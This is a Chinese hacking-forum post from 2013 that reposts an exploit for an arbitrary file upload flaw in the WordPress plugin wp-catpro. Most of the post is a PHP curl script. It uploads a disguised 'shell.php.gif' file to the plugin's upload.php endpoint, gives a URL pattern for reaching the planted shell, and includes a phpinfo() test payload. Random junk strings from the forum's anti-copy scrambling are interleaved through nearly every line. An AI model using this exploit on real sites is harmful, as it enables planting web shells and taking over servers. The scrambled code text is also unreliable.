找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1957|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
/ ?. {3 ~' w; w6 f$ h1 \0 u#-----------------------------------------------------------------------
, s6 R5 I9 |1 K5 e" Z ' t# H$ p7 K; m! T( Q
作者  => Zikou-16) i( K: y9 s6 d+ f- j+ j' _& G5 a2 F
邮箱 => zikou16x@gmail.com
/ f$ N; P$ H0 p( w7 J, O测试系统 : Windows 7 , Backtrack 5r35 z" t  f3 m4 H
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip. X8 l/ `7 k  M) c6 G
####
  u* }+ X# F2 Z
+ o/ r6 x3 [& \% S+ w" V1 H8 R& |#=> Exploit 信息:
& {+ X5 l& C0 v( x, d& p' D. K0 r------------------& ~9 l* ~6 B3 ~$ Z
# 攻击者可以上传 file/shell.php.gif
: q- L0 g% [  J5 ~7 T8 j* T# ("jpg", "gif", "png")  // Allowed file extensions
- |. E. ?! N, `# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
& X4 v3 ~- x  ?3 a' w+ F6 \# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
& n$ [  K* h& v& k6 M& B------------------
. H$ g' n. Z/ T. u1 C% K
0 G- m* G( R$ e  h: R& ?/ ?- O#=> Exploit
+ h0 |# L0 j4 k( q" F  r! O-----------
# \5 m' O, r; g& P5 r<?php
0 j) q8 `9 u- Q! t; @# X 1 E/ Q  ]7 I8 R
$uploadfile="zik.php.gif";$ ?. o! s' P$ ]; s5 F+ }8 I
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
1 g6 j8 _; P- u  q4 z6 P2 F$ Ncurl_setopt($ch, CURLOPT_POST, true);7 g9 ?' x+ d; u4 f) b% W' A3 J* [
curl_setopt($ch, CURLOPT_POSTFIELDS,
; A) W: Z7 T/ [/ B4 l6 Rarray('Filedata'=>"@$uploadfile",8 W2 n7 m- Z9 O  F( I% p4 H' ^
'folder'=>'/wp-content/uploads/catpro/'));- u8 J( m  O6 p  t2 n1 M5 Z
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2 ]$ a. M  r/ G/ q$postResult = curl_exec($ch);: I1 T$ r$ m8 @- d" g5 Y; U
curl_close($ch);
( S+ |6 m3 t2 a4 l
; y" y' d' o  l8 Qprint "$postResult";
  r9 a3 j( t/ I3 e9 n0 T + E" J) _. z4 L1 T6 K
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif  R, _0 I! v) Q9 ~
  ?>
2 I% p% d( z0 w" r; S- V<?php4 U& h% `' ~2 x+ R( w) {- v
phpinfo();
$ E" i8 i& d! z7 Y, P?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表